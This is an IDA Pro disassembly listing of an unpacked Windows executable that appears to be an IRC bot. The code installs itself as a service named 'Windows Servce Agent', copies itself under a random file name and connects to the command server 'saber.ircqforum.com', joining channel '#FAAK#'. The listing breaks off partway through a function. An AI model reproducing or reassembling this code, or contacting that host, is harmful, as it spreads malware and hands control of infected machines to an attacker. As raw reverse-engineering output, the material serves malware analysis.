;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	CAA04F831E8BC5C719B8A0A1A3C67CB9

; File Name   :	u:\work\caa04f831e8bc5c719b8a0a1a3c67cb9_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServceA ; "Windows Servce Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF28
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF98
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAED8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF50
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEBC
		call	dword_4CB00C
		call	sub_40B2BF
		call	dword_4CAECC
		call	dword_4CAECC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D128
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2650BFCh
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D120
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACB0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACB4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB020
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 26806FCh
		push	eax
		nop
		call	near ptr 268065Ah
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAEE4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 268056Eh
		push	eax
		call	near ptr 2660000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293C4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26804D6h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2680399h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2680000h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 26705B3h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2680399h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D128
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2670F83h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 267090Eh
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293B0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2650BFCh
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 26705B3h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAECC
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB294, 2
		jle	short loc_401562
		mov	eax, dword_4DB298
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 268065Ah
		push	esi
		nop
		call	near ptr 265092Ah
		mov	eax, dword_4DB298
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 26705B3h
		mov	eax, dword_4DB298
		push	dword ptr [eax+8]
		nop
		call	near ptr 2670881h


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB044, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429394
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D130
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429370
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2680000h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429330
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429304
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2680000h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4292D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACBC
		mov	dword_4CAE28, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD3C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CAD7C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE10, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACB8
		mov	dword_4CAE24, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE24, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 26705B3h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAECC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEC8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEBC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB00C
		call	sub_40AB22
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 26705B3h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293CC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB00C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE20, bl
		jz	short loc_40199A
		push	offset byte_4CAE20
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB00C
		push	1388h
		nop
		call	near ptr 26705B3h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	near ptr 26705B3h
		nop
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
